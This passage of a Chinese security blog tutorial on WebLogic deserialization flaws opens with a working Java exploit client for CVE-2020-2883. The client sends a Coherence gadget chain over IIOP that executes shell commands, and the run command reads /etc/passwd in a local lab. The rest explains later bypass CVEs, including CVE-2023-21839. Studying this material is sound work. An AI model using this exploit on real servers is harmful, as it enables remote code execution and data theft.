import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.PriorityQueue;
public class IiopCve20202883Client {
public static void main(String[] args) throws Exception {
// 目标 IIOP 入口地址。
String target = args.length > 0 ? args[0] : "iiop://127.0.0.1:7001";
// 在 WebLogic 容器里执行的命令,输出会继承到 WebLogic 容器日志。
String command = args.length > 1 ? args[1] : "id";
// 1. 使用 WebLogic 的 WLInitialContextFactory 连接 IIOP 服务端。
Hashtable<String, String> environment = new Hashtable<String, String>();
environment.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
environment.put(Context.PROVIDER_URL, target);
Context context = new InitialContext(environment);
// 2. 获取 WebLogic 暴露的 MEJB 远程对象,后面借它发起一次 IIOP 调用。
Object mejb = context.lookup("ejb/mgmt/MEJB");
// 3. 构造 Coherence gadget 对象。
Object payload = buildCoherencePayload(command);
// 4. 把 payload 作为 IIOP 远程调用参数送进 WebLogic。
Method remove = mejb.getClass().getMethod("remove", Object.class);
remove.invoke(mejb, payload);
}
// 构造 Coherence gadget 对象。
private static Object buildCoherencePayload(String command) throws Exception {
// 3.1 创建一个 ExtractorComparator 对象,比较器使用 `toString` 方法,防止 queue.add() 时在本地执行命令。
ExtractorComparator comparator = new ExtractorComparator(new ReflectionExtractor("toString"));
// 3.2 使用上面的 comparator 构造一个 PriorityQueue 对象。
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// 3.3 添加两个 ProcessBuilder.class 元素,至少两个元素才会触发排序操作。
// 因为我们要调用 ProcessBuilder("/bin/sh", "-c", "id").inheritIO().start(),所以添加 ProcessBuilder.class 元素。
// 如果想用 Runtime.getRuntime().exec() 而不是 ProcessBuilder,那么占位元素就必须换成 Runtime.class
queue.add(ProcessBuilder.class);
// 此时会触发比较器,调用我们 3.1 设置的 toString 方法(无害),不会执行命令。
queue.add(ProcessBuilder.class);
// 3.4 ChainedExtractor 的构造函数接收的是 ValueExtractor[] 数组,创建一个 ValueExtractor 数组存放 ReflectionExtractor 链。
ValueExtractor[] extractors = new ValueExtractor[]{
new ReflectionExtractor("getConstructor", new Object[]{new Class[]{String[].class}}),
new ReflectionExtractor("newInstance", new Object[]{new Object[]{new String[]{"/bin/sh", "-c", command}}}),
new ReflectionExtractor("inheritIO"),
new ReflectionExtractor("start"),
};
// 3.5 把 ChainedExtractor 放入 ExtractorComparator 中。
setField(comparator, "m_extractor", new ChainedExtractor(extractors));
return queue;
}
// 通过反射设置私有字段。
private static void setField(Object target, String name, Object value) throws Exception {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
}编译并运行:
cd weblogic-deserialize-lab/attacker/iiop
javac -source 1.7 -target 1.7 -cp ../lib/wlfullclient.jar:../lib/coherence.jar IiopCve20202883Client.java
java -cp .:../lib/wlfullclient.jar:../lib/coherence.jar IiopCve20202883Client iiop://127.0.0.1:7001 "cat /etc/passwd"为了区分前面我们用 cat /etc/passwd 命令验证,运行产生的异常不影响我们的验证:

命令执行后,查看 WebLogic 容器日志:

5. 后续反序列化漏洞概览
CVE-2020-2883 之后,攻击者继续从 Coherence 和 WebLogic JNDI 中寻找新的可利用对象。这些漏洞没有改变前面已经讲过的 T3/IIOP 入口,因此这里只说明它们与前面漏洞的关系,不再分别搭建攻击实验。
5.1 Coherence 中的后续绕过
| 相关漏洞 | 利用方式 |
|---|---|
| CVE-2020-14625、CVE-2020-14645、CVE-2020-14825、CVE-2020-14841 | 和 CVE-2020-2883 类似,仍然利用 Coherence 调用 ValueExtractor.extract(),只是把 ReflectionExtractor 换成 UniversalExtractor 或 LockVersionExtractor,最后连接 TemplatesImpl 或 JNDI lookup。 |
| CVE-2020-14644 | 和前面讲过的 CC3 类似,都是携带并加载恶意 class 字节码,只是把 TemplatesImpl 换成了 Coherence 的 RemoteConstructor。 |
| CVE-2020-14756 | 和上篇的封装绕过思路类似,都不让危险对象直接经过原来的反序列化过滤;区别是这里通过 Coherence 的 ExternalizableHelper 恢复内层对象。 |
| CVE-2021-2135 | 和 CVE-2020-14756 类似,仍然使用 ExternalizableHelper,只是改从 fromBinary()、BufferInput 等路径进入对象恢复过程,继续绕过新增检查。 |
| CVE-2021-2394 | 相当于组合 CVE-2020-14756 和 CVE-2020-14825:外层通过 ExternalizableHelper 绕过过滤,内层使用 FilterExtractor、MethodAttributeAccessor 触发 JNDI lookup。 |
5.2 再次通过远程对象触发 JNDI
前面 CVE-2018-3191 使用 JtaTransactionManager 触发 JNDI lookup。后续的 CVE-2023-21839 最终仍然访问外部 JNDI 服务,但换成了 ForeignOpaqueReference。
OpaqueReference 是 WebLogic JNDI 中的一种延迟解析引用。它本身不是最终要返回给调用方的业务对象。当程序通过 JNDI lookup 查到这类对象时,WebLogic 会调用它的 getReferent() 方法获取真正的对象。
ForeignOpaqueReference 是 OpaqueReference 的一个实现,用来表示位于其他 JNDI 服务中的对象。它使用 remoteJNDIName 保存外部对象的 JNDI 地址,使用 jndiEnvironment 保存连接外部 JNDI 服务需要的环境。调用 getReferent() 时,它会根据这两个字段创建 JNDI 上下文并发起 lookup。
CVE-2023-21839 的利用过程如下:
- 攻击者通过 T3 或 IIOP 连接 WebLogic 的 JNDI 服务。
- 把保存了外部 JNDI 地址的
ForeignOpaqueReference绑定到 WebLogic JNDI 树中。 - 再通过 lookup 查找刚刚绑定的名称。
- WebLogic 发现结果是
OpaqueReference,于是调用getReferent()。 ForeignOpaqueReference.getReferent()根据remoteJNDIName访问攻击者控制的外部 JNDI 服务。
它与 CVE-2018-3191 的差别主要在第一阶段:
- CVE-2018-3191:把 JNDI 地址放进
JtaTransactionManager.userTransactionName,WebLogic 反序列化这个对象时自动发起 lookup。 - CVE-2023-21839:先把
ForeignOpaqueReference绑定到 WebLogic JNDI,再主动 lookup 这个名称,由getReferent()发起外部 JNDI 查找。
两条路线后面的外部 JNDI 服务可以相同,所以这里不再重复第 3.2 节的第二阶段。
6. 本文小结
本文的内容比较多,希望读完之后掌握这些内容:
- RMI 是 Java 远程方法调用机制,JRMP 是它默认使用的网络协议。
- RMI 远程代理通过
RemoteObjectInvocationHandler和UnicastRef保存远程引用。 LiveRef.read()会注册远程引用,DGC 因此在反序列化期间自动建立 JRMP 连接。- CVE-2017-3248 的第一阶段没有直接携带最终 CC gadget,第二阶段对象由攻击端 JRMP 服务返回。
- CVE-2018-2628、CVE-2018-2893 和 CVE-2018-3245 通过更换代理接口、包装对象或
RemoteObject子类继续进入 JRMP 路径。 - T3 和 IIOP 是把对象送进 WebLogic 的入口;JRMP、JNDI 是后续触发方式;CC、ObjectFactory、Coherence 是最终执行逻辑。
- JNDI 路线不一定需要 CC 链,本文实验中是通过
Reference加载ObjectFactory执行命令,利用链选择取决于目标 JDK、WebLogic 版本和 classpath。 - JNDI 是命名和目录查找 API,可以通过 RMI、LDAP 或 IIOP 等方式访问命名服务。
- CVE-2018-3191 从 T3 进入,通过
JtaTransactionManager触发 JNDI lookup。 - CVE-2020-2551 将 JNDI 触发路线扩展到 IIOP 入口。
- CVE-2020-2555 使用
LimitFilter触发 Coherence 的ValueExtractor,CVE-2020-2883 改用PriorityQueue和ExtractorComparator绕过修复。 - 后续 Coherence 漏洞继续通过更换
UniversalExtractor、LockVersionExtractor、RemoteConstructor等对象绕过黑名单。 - CVE-2020-14756、CVE-2021-2135 和 CVE-2021-2394 说明
ExternalizableHelper这套对象恢复逻辑也可能绕过原有过滤。 - CVE-2023-21839 改用
ForeignOpaqueReference,通过远程绑定和 lookup 再次触发外部 JNDI 查找。
下一篇讲 WebLogic 反序列化漏洞(下):WLS-WSAT 与 XMLDecoder,入口从 T3/IIOP 转为 HTTP/SOAP。
最后更新于 2026-09-15 「部分内容存在时效性,如有失效请留言反馈」
除注明外为 Hack All Sec 的博客 原创文章,转载请注明出处。
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
本文链接:https://blog.hackall.cn/pentestvuln/WebLogic-JRMP-JNDI-IIOP.html
Hack All Sec 的博客